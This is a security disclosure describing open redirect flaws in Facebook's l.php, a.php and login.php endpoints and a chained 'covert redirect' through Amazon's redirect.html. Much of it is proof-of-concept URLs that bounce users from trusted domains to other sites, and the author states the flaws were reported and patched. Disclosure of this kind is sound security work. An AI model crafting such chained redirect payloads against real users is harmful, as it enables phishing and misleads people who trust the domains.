Facebook Open Redirect

`*Facebook Old Generated URLs Still Vulnerable to Open Redirect Attacks & A  
New Open Redirect Security Vulnerability*  
  
  
  
*Domain:*  
http://www.facebook.com  
  
  
  
*Discover:*  
Wang Jing, School of Physical and Mathematical Sciences (SPMS), Nanyang  
Technological University (NTU), Singapore.  
http://www.tetraph.com/wangjing/  
  
  
  
  
*(1) General Vulnerabilities Description:*  
  
  
*(1.1)* Two Facebook vulnerabilities are introduced in this article.  
Facebook has a security problem. It can be exploited by Open Redirect  
attacks. Since Facebook is trusted by large numbers of other websites.  
Those vulnerabilities can be used to do "Covert Redirect" to other websites  
such as Amazon, eBay, etc.  
  
  
*(1.1.1)*  
One Facebook Open Redirect vulnerability was reported to Facebook. Facebook  
adopted a new mechanism to patch it. Though the reported URL redirection  
vulnerabilities are patched. However, all old generated URLs are still  
vulnerable to the attacks. Section (2) gives detail of it.  
  
The reason may be related to Facebook's third-party interaction system or  
database management system or both. Another reason may be related to  
Facebook's design for different kind of browsers.  
  
  
*(1.1.2)*  
Another new Open Redirect vulnerability related to Facebook is introduced,  
too. For reference, please read section (3).  
  
Tests were performed on Firefox (version 26.0) on windows 7; Firefox  
(version 24.0) on Ubuntu 12.10, Chrome (Version 30.0.1599.114) on Ubuntu  
12.10.  
  
  
  
*(1.2) Facebook's URL Redirection System Related to "*.php" Files*  
  
All URLs' redirection are based on several files, such l.php, a.php,  
landing.php and so on.  
  
The main redirection are based on file "l.php".  
  
For file "l.php", one parameter "h" is used for authentication. When it  
mentions to file "a.php", parameter "eid" is used for authentication. All  
those two files use parameter "u" for the url redirected to. In some other  
files such as "landing.php", parameters such as "url", "next" are used.  
  
<1>For parameter "h", two forms of authentication are used.  
<a>h=HAQHyinFq  
<b>h=hAQHalW1CAQHrkVIQNNqgwhxRWLNsFVeH3auuImlbR1CgKA  
<2>For parameter "eid", one form of authentication is used.  
  
<a>eid=AQLP8sRq6lbU0jz0lARx9A9uetB6FIF1N2-Yjj_ePj0d_ezubjstZeDo6qDsalKVJwy6uDb_hQ-9tBsA2dVoQRq0lniOu0os_gPe3gY5l8lYblhQSwBtdvgjXjNqaxLZMYoasr3vv46tFsh1fL7q4kjT2LFw52dnJWd4SE8qc0YuPWfgPeQywgM2wl0CoW-lftWkr2dX0dLcytyHjXnvhKfVS_pQBllszUzsPENxE6EuZ-53Lh188o56idnfyyk2L58pE7C94PF-za4ZVB0qbuA2EnPcSJI-7oIiIJmIhifHe0CYTzG512-Z_heN44VlyJHevhS9auAR8-lFCAIlYymnT_Qiwp92RxjNOfBypBvszQUrvB6PH3fANn1prfMBVm4RD_GFel14KVDS5USswbTOTkL3sZNhHUqqPHwBwU3JFePMMuwsfesigH85B_AxCsXUIWN7klKGSq8bPPsKSHttsa9hkkMpSfRKL7D_xwW4dU2xlmfGWil7jYRJmwfbOeF0zujk1FRBuM757tbfFMav-J-K9npbdrDrCuUVqV__Tf7CGZ89nPl-M2d09pE9enJj0OBXOaSXZX16LKaYnv1Wh4GKme7C-EOunITxyQtp1zy-48Uaz9mxO2x4bw7sBDfzDStF_Al8_0SMjWNTh-J38rBHAgT96X-dPFI43HU3x3fVymE9szrclBpvTaSfYezatgMzf77s3lQrQAMSlwSSRIzRuoFvQBmWKT0T5ZFgH5ykhYKhNMiKj577UO5g2Ojm-_-KKF4N_DBuG5R-I6EOSlhok2xUkpKVDnDcxZFTLxGmx5xc56J5kZLjJ96wnF2fH09Q19Qc2aU3xYFlEFrKjrlLpwGyOyCDx7_z7y1O4Efqew3Fa0Cb9s6Kk2jpLF5XEIaYzzXOLAffxXG6icBJVovb9RPmiZ5s9dKYYotLol68_X04O05bEvVccPEh-IQwX_VTMt3f23be2MECEq  
R2l1A1ZkJx4qP00GI1pZhU_CXAnjSaTNmtaINRUeSsLNEZZsPwpWJMfeeGSwuof9krC05eSWjO0jH9tua0KteMYhj8i-3dwSBp4f7nMcFwH5ltfCLhMCYNB8rxgzcAczyhLIo2UY-3FSaJXBZ0lvuZBvnj7myUnyc2lCcy-fWh93MRRaJrrinjtfr9fDSMHM9Cja5xi0eG3Vs0aClnWbeJZA79TvmYt7E53HfwGuv5-EJOqRh3cwZF-53uPHA73ikUk3xTApjQunJM4uIBhpy7iBIgn_OXXo3X03YUJtJcDuC20ocJbZ310VHliox5tYZF2oiMaOfgo9Y9KeqgsrJgwPCJeif4aB0Ne4g_oM_Tuqt2pXbdgoCawHIApF087eFKJqejp0jpEkJerXPyK-IqsD_SQfIm_2WJSkzwzATwQKs  
  
  
  
  
*(2) Vulnerability Description 1:*  
  
*(2.1) *A security researcher reported two Open Redirect vulnerabilities to  
Facebook in 2013. The following are the two links reported.  
  
http://www.facebook.com/l.php?u=http://www.bing.com&h=mAQHgtP_E  
http://facebook.com/campaign/landing.php?url=http://www.adcash.com  
  
  
Though a new mechanism was adopted. However, all old generated redirections  
still work by parameter "h" and "eid".  
  
  
*(2.2)* A website was used for the following tests. The website is "  
http://www.tetraph.com/". Suppose this website is malicious.  
  
  
*(2.2.1)*  
<1>First test  
<a>file: "l.php"  
<b>URL parameter: "u"  
<c>authentication parameter: "h"  
<d>form: "h=HAQHyinFq".  
<e>The authentication has no relation with all other parameters, such as  
"s".  
  
Examples:  
  
  
*URL 1:*  
http://www.facebook.com/l.php?u=http%3A%2F%2Fwww.aboutads.info%2F&h=lAQHmVMhS&s=1  
  
*Redirect Forbidden:*  
http://www.facebook.com/l.php?u=http%3A%2F%2Fwww.tetraph.com&h=lAQHmVMhS&s=1  
  
*Redirect Works:*  
http://www.facebook.com/l.php?u=http%3A%2F%2Fwww.tetraph.com&h=zAQHEyzSM&s=1  
  
  
*URL 2:*  
http://bg-bg.facebook.com/l.php?u=http%3A%2F%2Fweborama.com%2F&h=DAQEpwCpS&s=1  
  
*Redirect Forbidden:*  
http://bg-bg.facebook.com/l.php?u=http%3A%2F%2Fwww.tetraph.com&h=DAQEpwCpS&s=1  
  
*Redirect Works:*  
http://bg-bg.facebook.com/l.php?u=http%3A%2F%2Fwww.tetraph.com&h=wAQEE6xBX&s=1  
  
  
  
*(2.2.2)*  
<2>Second test. It is the same situation as above.  
<a>file: "l.php",  
<b>url parameter "u"  
<c>authentication parameter: "h"  
<d>form: "h=hAQHalW1CAQHrkVIQNNqgwhxRWLNsFVeH3auuImlbR1CgKA".  
<e>The authentication has no relation to all other parameters, such as  
"env", "s".  
  
Examples:  
  
  
*URL 1:*  
http://www.facebook.com/l.php?u=http%3A%2F%2Fwww.internet.org%2F&h=pAQHnUOVGAQGcsXLy0MBttG7W1uiOvSghc_POwYa6k35hbw&enc=AZNBNYyWIbhPD6ZDAw1Zom458dO6dNBHnPh1tWnzEgxsxqvjfAbnH1ynSYgNNOvQzY7oolrIRfkll4-z2Pm7C63N&s=1  
  
*Redirect Forbidden:*  
http://www.facebook.com/l.php?u=http%3A%2F%2Fwww.tetraph.com&h=pAQHnUOVGAQGcsXLy0MBttG7W1uiOvSghc_POwYa6k35hbw&enc=AZNBNYyWIbhPD6ZDAw1Zom458dO6dNBHnPh1tWnzEgxsxqvjfAbnH1ynSYgNNOvQzY7oolrIRfkll4-z2Pm7C63N&s=1  
  
*Redirect Works:*  
http://www.facebook.com/l.php?u=http%3A%2F%2Fwww.tetraph.com&h=1AQFqhVX6AQGawLw_EuB6T8h4Fs6JXFOocaRp0tQKr6Mfxw&enc=AZM7oFmJObAuJmy999wnRjD-QralcP-Ust3CHBrFxZ85bS1oI5vS46cPhdJmYq6YcfsTcZYBrPTRsZyEeHCe_rdQ&s=1  
http://www.facebook.com/l.php?u=http%3A%2F%2Fwww.tetraph.com&h=1AQFqhVX6AQGawLw_EuB6T8h4Fs6JXFOocaRp0tQKr6Mfxw  
  
  
*URL 2:*  
http://af-za.facebook.com/l.php?u=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DNdWaZkvAJfM&h=WAQEcLD6fAQHtLbKKDhiimLXlIIx0zoyjfyusHjY5YHmaGQ&enc=AZMtxhh0RHpegvMkZLG-uyFxqCzDxCefM9H2AF8TnVCTtGMnwy5WVA4EPcZVOiJ0wOFCui6nWmRBqQDoZE0cVww6&s=1  
  
*Redirect Forbidden:*  
http://af-za.facebook.com/l.php?u=http%3A%2F%2Fwww.tetraph.com&h=GAQHkk7KaAQFgp-1UpPt8vTc1mpZVcR-ZCObBHYZTd6oRUA&enc=AZPA-1iOt4L5BTDo2RMqXagplQxCjYMuw6LZzH3XdMeOpvvcwMdzZwplx5OZLlH0q8QszFr2Nu9Ib_tA8l8So-pW&s=1  
  
*Redirect Works:*  
http://af-za.facebook.com/l.php?u=http%3A%2F%2Fwww.tetraph.com&h=WAQEcLD6fAQHtLbKKDhiimLXlIIx0zoyjfyusHjY5YHmaGQ&enc=AZMtxhh0RHpegvMkZLG-uyFxqCzDxCefM9H2AF8TnVCTtGMnwy5WVA4EPcZVOiJ0wOFCui6nWmRBqQDoZE0cVww6&s=1  
  
  
  
  
*(3) Facebook File "a.php" Open Redirect Security Vulnerability*  
  
*(3.1)*  
<a>file: "a.php"  
<b>parameter "u"  
<c> authentication parameter: "eid"  
<d> form:  
"eid=5967147530925355409.6013336879369.AQKBG5nt468YgKeiSdgExZQRjwGb9r6EOu-Uc5WPvi-EVHEzadq8YSrgSvUzbMmxKPPfTgM-JrPff7tN38luc-8h16lxL0Gj_4qs1-58yWgXirMH4AEf8sOEsZc5DTx7yFndgODvD5NrC-314BIj4pZvMhlljXv89lHRH6pBgyGGVm-oWBDIF8CuRER1f5ZGbKdsiUcBISdWTninVzvBdW1mZY0SWzqT21fZmhgVKtdkRf5l_pag7hAmotFK9HI5XHfGicWVqzRyTNiDIYjyVjTv4km2FOEp7WP3w65aVUKP_w".  
<e>The authentication has no relation to all other parameters, such as  
"mac", "_tn_".  
  
Examples:  
  
  
*Vulnerable URL:*  
https://www.facebook.com/a.php?u=http%3A%2F%2Ffb-nym.adnxs.com%2Ffclick%3Fclickenc%3Dhttp%253A%252F%252Fbs.serving-sys.com%252FBurstingPipe%252FadServer.bs%253Fcn%253Dtf%2526c%253D20%2526mc%253Dclick%2526pli%253D8782431%2526PluID%253D0%2526ord%253D%257BCACHEBUSTER%257D%26cp%3D%253Fdi%253DzGxX6INl-T9QvRSibN_3P5qZmZmZmfk_UL0Uomzf9z_ObFfog2X5P_WPPCuD-to_CKEeLew3cQIQkc9SAAAAAHQcDQB2BQAAKAcAAAIAAAD4iq8AanMCAAAAAQBVU0QAVVNEAGMASABq4DoFka4BAgUCAQUAAIgAkinLswAAAAA.%252Fcnd%253D%252521qQYdPgjeqqYBEPiVvgUY6uYJIAA.%252Freferrer%253Dfacebook.com%252F&mac=AQJllyaGzLYoRoQz&__tn__=%2AB&eid=5967147530925355409.6013336879369.AQKBG5nt468YgKeiSdgExZQRjwGb9r6EOu-Uc5WPvi-EVHEzadq8YSrgSvUzbMmxKPPfTgM-JrPff7tN38luc-8h16lxL0Gj_4qs1-58yWgXirMH4AEf8sOEsZc5DTx7yFndgODvD5NrC-314BIj4pZvMhlljXv89lHRH6pBgyGGVm-oWBDIF8CuRER1f5ZGbKdsiUcBISdWTninVzvBdW1mZY0SWzqT21fZmhgVKtdkRf5l_pag7hAmotFK9HI5XHfGicWVqzRyTNiDIYjyVjTv4km2FOEp7WP3w65aVUKP_w  
  
*POC:*  
https://www.facebook.com/a.php?u=http%3A%2F%2Fwww.tetraph.com&mac=AQJllyaGzLYoRoQz&__tn__=%2AB&eid=5967147530925355409.6013336879369.AQKBG5nt468YgKeiSdgExZQRjwGb9r6EOu-Uc5WPvi-EVHEzadq8YSrgSvUzbMmxKPPfTgM-JrPff7tN38luc-8h16lxL0Gj_4qs1-58yWgXirMH4AEf8sOEsZc5DTx7yFndgODvD5NrC-314BIj4pZvMhlljXv89lHRH6pBgyGGVm-oWBDIF8CuRER1f5ZGbKdsiUcBISdWTninVzvBdW1mZY0SWzqT21fZmhgVKtdkRf5l_pag7hAmotFK9HI5XHfGicWVqzRyTNiDIYjyVjTv4km2FOEp7WP3w65aVUKP_w  
https://www.facebook.com/a.php?u=http%3A%2F%2Fwww.xhamster.com&eid=5967147530925355409.6013336879369.AQKBG5nt468YgKeiSdgExZQRjwGb9r6EOu-Uc5WPvi-EVHEzadq8YSrgSvUzbMmxKPPfTgM-JrPff7tN38luc-8h16lxL0Gj_4qs1-58yWgXirMH4AEf8sOEsZc5DTx7yFndgODvD5NrC-314BIj4pZvMhlljXv89lHRH6pBgyGGVm-oWBDIF8CuRER1f5ZGbKdsiUcBISdWTninVzvBdW1mZY0SWzqT21fZmhgVKtdkRf5l_pag7hAmotFK9HI5XHfGicWVqzRyTNiDIYjyVjTv4km2FOEp7WP3w65aVUKP_w  
  
  
  
  
*(3.2) Facebook Login Page Covert Redirect Security Vulnerability*  
  
*Vulnerable URL Related to Login.php Based on a.php:*  
https://www.facebook.com/login.php?next=https%3A%2F%2Fwww.facebook.com%2Fa.php%3Fu%3Dhttp%253A%252F%252Fwww.rp.edu.sg%252Fopenhouse2014%252F%253Futm_source%253Dfacebook%2526utm_medium%253Dcpc%2526utm_campaign%253Dopenhouse2014%26mac%3DAQKyRHClixA20iGL%26__tn__%3D%252AB%26eid%3DAQLAHC7szSXhT3FaEBXe5YFsOC0kEM4nN9PlVovdilvuzROStFXoYqptlKpcJAzHNTLpxWAIrmJYsR6RVG_Htk6pgT7Iol6lWHDJvn7Cg5sqigvE_eVS895Eh6fSwxH3fgfWcNDrEl5_lFgRbrJtC71R68rW_VXS9QCN7Po9wTWDnbyZTaXawdrdQyibryvA56Spr5GcUDUboRFxy8YSr2ahUV_goDAQA3OKmCACEn8CmyMrOT5gZq3iwusysdchRxLIv5N82-GMTiDxXXgkDYf1P7XwvklWpfy_cEItZzV5v0P7fRZB3qiq_RDx9jhEzndlJhUJL2aWE0ldPmGKGz9xWyvPaPLOwzBo23GQbpj2ZN_tw9B9tz2l3tGIN1yegd_Wf6PSFIZOuBXfZILvmILcxg3qz4dHx1fmgPZBpf_34mPnMEkgZqbT2WeV_GZKz8RDIg88D3vrmwyMwWxeh3xyGuddjZUjOUjPCUwrgSrWZK3XHRA7TA7tWIsQ4X1bsjx9c72mm8bZmmRBRJwqOcjsW0QEVETs_Cs9pS9QBkgX8yVPJCHuk1v_xkj4EHHH9sNP7a4GRs8olklBTKhCcJ908sVrQVT2I-cQYw2SVU9hWaWWjX2AGt3WpdT2kx6SIPoPQpX5cIC4Lcfaa7EcZFBnoQPv3mR5BNHRFTh_6Qvr01BrCG3Fv5VeDeXhM8cHk6VuBtj5  
smz0ZeGT5JWvub5ORJ4xzVN0zAW8V4qiKiVFKTEFMZASaZFon41VFCbhxkX0Bi62Ko64PY6uP64tCMWh6yX2o0JMc0mJWFJRp1695OCKgLXf0udRyWDESTyYgJXIlxecCmlwCEbleAsE-wtDXNOfDTXOzApr1sZO_58FBRaw-K4Z2VRXLir5mrdXTKnM1Y4rDDqGZur9G7LfuXrCr5oR1J5LJ8sVupHqsiN7-UqdakiEEIBq750KxVjaAdCyqJp_5EJ-yVMK3f2pMX7cQ2Lw6u434hHimuLN9VDPLkpSiMlPOa8RkarDSred73IfQiv-PluegYDfunZFxj1KvcAlzhVZsL-a52hJmXrOrzKuV0hyZaBLtAIo6AEoXXV30D-6iraSUphkOFzYt3ah6oRrmXLQZKm2E8Cuag5d_rAnwvIr98dn4OSa8Z4MCZemI3uH8cjxr86aE046uTA_Hm1GjYM5l7wkpHknHI8QR2q5Cioo2h6WiUO-jsIFkQ4XFgAd5IUCcAbQukXdC4GJzl18iaN8wkylsTk8aVBn6G1xZadSL0b5R3NgsYfQUVtV0g9slnOLNkgq0NLMAk0kWFs  
  
*POC:*  
https://www.facebook.com/login.php?next=https%3A%2F%2Fwww.facebook.com%2Fa.php%3Fu%3Dhttp%253A%252F%252Fwww.stackoverflow.com%26mac%3DAQKyRHClixA20iGL%26__tn__%3D%252AB%26eid%3DAQLAHC7szSXhT3FaEBXe5YFsOC0kEM4nN9PlVovdilvuzROStFXoYqptlKpcJAzHNTLpxWAIrmJYsR6RVG_Htk6pgT7Iol6lWHDJvn7Cg5sqigvE_eVS895Eh6fSwxH3fgfWcNDrEl5_lFgRbrJtC71R68rW_VXS9QCN7Po9wTWDnbyZTaXawdrdQyibryvA56Spr5GcUDUboRFxy8YSr2ahUV_goDAQA3OKmCACEn8CmyMrOT5gZq3iwusysdchRxLIv5N82-GMTiDxXXgkDYf1P7XwvklWpfy_cEItZzV5v0P7fRZB3qiq_RDx9jhEzndlJhUJL2aWE0ldPmGKGz9xWyvPaPLOwzBo23GQbpj2ZN_tw9B9tz2l3tGIN1yegd_Wf6PSFIZOuBXfZILvmILcxg3qz4dHx1fmgPZBpf_34mPnMEkgZqbT2WeV_GZKz8RDIg88D3vrmwyMwWxeh3xyGuddjZUjOUjPCUwrgSrWZK3XHRA7TA7tWIsQ4X1bsjx9c72mm8bZmmRBRJwqOcjsW0QEVETs_Cs9pS9QBkgX8yVPJCHuk1v_xkj4EHHH9sNP7a4GRs8olklBTKhCcJ908sVrQVT2I-cQYw2SVU9hWaWWjX2AGt3WpdT2kx6SIPoPQpX5cIC4Lcfaa7EcZFBnoQPv3mR5BNHRFTh_6Qvr01BrCG3Fv5VeDeXhM8cHk6VuBtj5smz0ZeGT5JWvub5ORJ4xzVN0zAW8V4qiKiVFKTEFMZASaZFon41VFCbhxkX0Bi62Ko64PY6uP64tCMWh6yX2o0JMc0mJWFJRp1695  
OCKgLXf0udRyWDESTyYgJXIlxecCmlwCEbleAsE-wtDXNOfDTXOzApr1sZO_58FBRaw-K4Z2VRXLir5mrdXTKnM1Y4rDDqGZur9G7LfuXrCr5oR1J5LJ8sVupHqsiN7-UqdakiEEIBq750KxVjaAdCyqJp_5EJ-yVMK3f2pMX7cQ2Lw6u434hHimuLN9VDPLkpSiMlPOa8RkarDSred73IfQiv-PluegYDfunZFxj1KvcAlzhVZsL-a52hJmXrOrzKuV0hyZaBLtAIo6AEoXXV30D-6iraSUphkOFzYt3ah6oRrmXLQZKm2E8Cuag5d_rAnwvIr98dn4OSa8Z4MCZemI3uH8cjxr86aE046uTA_Hm1GjYM5l7wkpHknHI8QR2q5Cioo2h6WiUO-jsIFkQ4XFgAd5IUCcAbQukXdC4GJzl18iaN8wkylsTk8aVBn6G1xZadSL0b5R3NgsYfQUVtV0g9slnOLNkgq0NLMAk0kWFs  
  
  
  
  
*(4) Amazon Covert Redirect Security Vulnerability Based on Facebook *  
  
Since Facebook is trusted by large numbers of other websites. Those  
vulnerabilities can be used to do "Covert Redirect" to other websites such  
as Amazon.  
  
The vulnerability exists at "redirect.html?" page with "&location"  
parameter, e.g.  
http://www.amazon.com/gp/redirect.html?_encoding=UTF8&location=http%3A%2F%2Fwww.facebook.com%2Fl.php%3Fu%3Dhttp%253A%252F%252Fwww.google.com%26h%3D7AQFwCeYDAQEZsz_cx9BJKCE5Af7KKocYw4jOlGk5TB5kZg&token=6BD0FB927CC51E76FF446584B1040F70EA7E88E1  
  
  
*More Details:*  
http://tetraph.com/covert_redirect/  
http://tetraph.com/covert_redirect/oauth2_openid_covert_redirect.html  
  
  
*(4.1)*  
When a user is redirected from Amazon to another site, Amazon will check  
parameters "&token". If the redirected URL's domain is OK, Amazon will  
allow the reidrection.  
  
However, if the URLs in a redirected domain have open URL redirection  
vulnerabilities themselves, a user could be redirected from Amazon to a  
vulnerable URL in that domain first and later be redirected from this  
vulnerable site to a malicious site. This is as if being redirected from  
Amazon directly.  
  
One of the vulnerable domain is,  
http://www.facebook.com  
  
  
*(4.2) *  
Use one of webpages for the following tests. The webpage address is "  
http://www.inzeed.com/kaleidoscope". Suppose it is malicious.  
  
  
*Vulnerable URL:*  
http://www.amazon.com/gp/redirect.html?_encoding=UTF8&location=http%3A%2F%2Fwww.facebook.com%2Famazon%3Fv%3Dapp_165157536856903&token=6BD0FB927CC51E76FF446584B1040F70EA7E88E1  
  
*POC:*  
http://www.amazon.com/gp/redirect.html?_encoding=UTF8&location=http%3A%2F%2Fwww.facebook.com%2Fl.php%3Fu%3Dhttp%253A%252F%252Fwww.inzeed.com%26h%3D7AQFwCeYDAQEZsz_cx9BJKCE5Af7KKocYw4jOlGk5TB5kZg&token=6BD0FB927CC51E76FF446584B1040F70EA7E88E1  
  
http://www.amazon.de/gp/redirect.html/ref=cm_sw_cl_fa_dp_1bI9sb0R0MNZH?_encoding=UTF8&location=http%3A%2F%2Fwww.facebook.com%2Fl.php%3Fu%3Dhttp%253A%252F%252Fwww.nicovideo.jp%26h%3D7AQFwCeYDAQEZsz_cx9BJKCE5Af7KKocYw4jOlGk5TB5kZg&token=6BD0FB927CC51E76FF446584B1040F70EA7E88E1  
  
http://www.amazon.co.uk/gp/redirect.html/ref=cm_sw_cl_fa_dp_Zzbbtb04XETQB?_encoding=UTF8&location=http%3A%2F%2Fwww.facebook.com%2Fl.php%3Fu%3Dhttp%253A%252F%252Fwww.bbc.co.uk%26h%3D7AQFwCeYDAQEZsz_cx9BJKCE5Af7KKocYw4jOlGk5TB5kZg&token=6BD0FB927CC51E76FF446584B1040F70EA7E88E1  
  
http://www.amazon.ca/gp/redirect.html/ref=cm_sw_cl_fa_dp_G7uctb099ZX2N?_encoding=UTF8&location=http%3A%2F%2Fwww.facebook.com%2Fl.php%3Fu%3Dhttp%253A%252F%252Fgoogleadservices.com%26h%3D_AQHylR65AQG3dZfbwarP74zIO_Gj_ndx4h1QB1r7qbJx4Q&token=6BD0FB927CC51E76FF446584B1040F70EA7E88E1  
  
https://www.amazon.co.jp/gp/redirect.html/ref=amb_link_64307649_2?location=http%3A%2F%2Fwww.facebook.com%2Fl.php%3Fu%3Dhttp%253A%252F%252Fwww.pornhub.com%26h%3D_AQHylR65AQG3dZfbwarP74zIO_Gj_ndx4h1QB1r7qbJx4Q&pf_rd_m=AN1VRQENFRJN5&pf_rd_s=left-2&pf_rd_r=15EZARSP2Q0PG0JW0ZB0&pf_rd_t=101&pf_rd_p=122450949&pf_rd_i=2221688051  
  
https://www.amazon.fr/gp/redirect.html/ref=amb_link_64307649_2?location=http%3A%2F%2Fwww.facebook.com%2Fl.php%3Fu%3Dhttp%253A%252F%252Fwww.naver.com%26h%3D_AQHylR65AQG3dZfbwarP74zIO_Gj_ndx4h1QB1r7qbJx4Q&pf_rd_m=AN1VRQENFRJN5&pf_rd_s=left-2&pf_rd_r=15EZARSP2Q0PG0JW0ZB0&pf_rd_t=101&pf_rd_p=122450949&pf_rd_i=2221688051  
  
https://www.amazon.it/gp/redirect.html/ref=amb_link_64307649_2?location=http%3A%2F%2Fwww.facebook.com%2Fl.php%3Fu%3Dhttp%253A%252F%252Fwww.craigslist.org%26h%3D_AQHylR65AQG3dZfbwarP74zIO_Gj_ndx4h1QB1r7qbJx4Q&pf_rd_m=AN1VRQENFRJN5&pf_rd_s=left-2&pf_rd_r=15EZARSP2Q0PG0JW0ZB0&pf_rd_t=101&pf_rd_p=122450949&pf_rd_i=2221688051  
  
  
  
*POC Video:*  
https://www.youtube.com/watch?v=ss3ALnvU63w&feature=youtu.be  
https://www.youtube.com/watch?v=f4W63YXnbIk  
  
*Blog Details:*  
http://securityrelated.blogspot.com/2015/01/amazon-covert-redirect-security.html  
  
  
  
  
  
Those vulnerabilities were reported to Facebook in 2014 and they have been  
patched.  
  
  
  
  
*POC Video:*  
https://www.youtube.com/watch?v=VvhmxfKt85Q&feature=youtu.be  
  
  
*Blog Details:*  
http://securityrelated.blogspot.com/2015/01/facebook-old-generated-urls-still.html  
  
  
  
  
--  
Wang Jing  
School of Physical and Mathematical Sciences (SPMS)  
Nanyang Technological University (NTU), Singapore  
  
  
`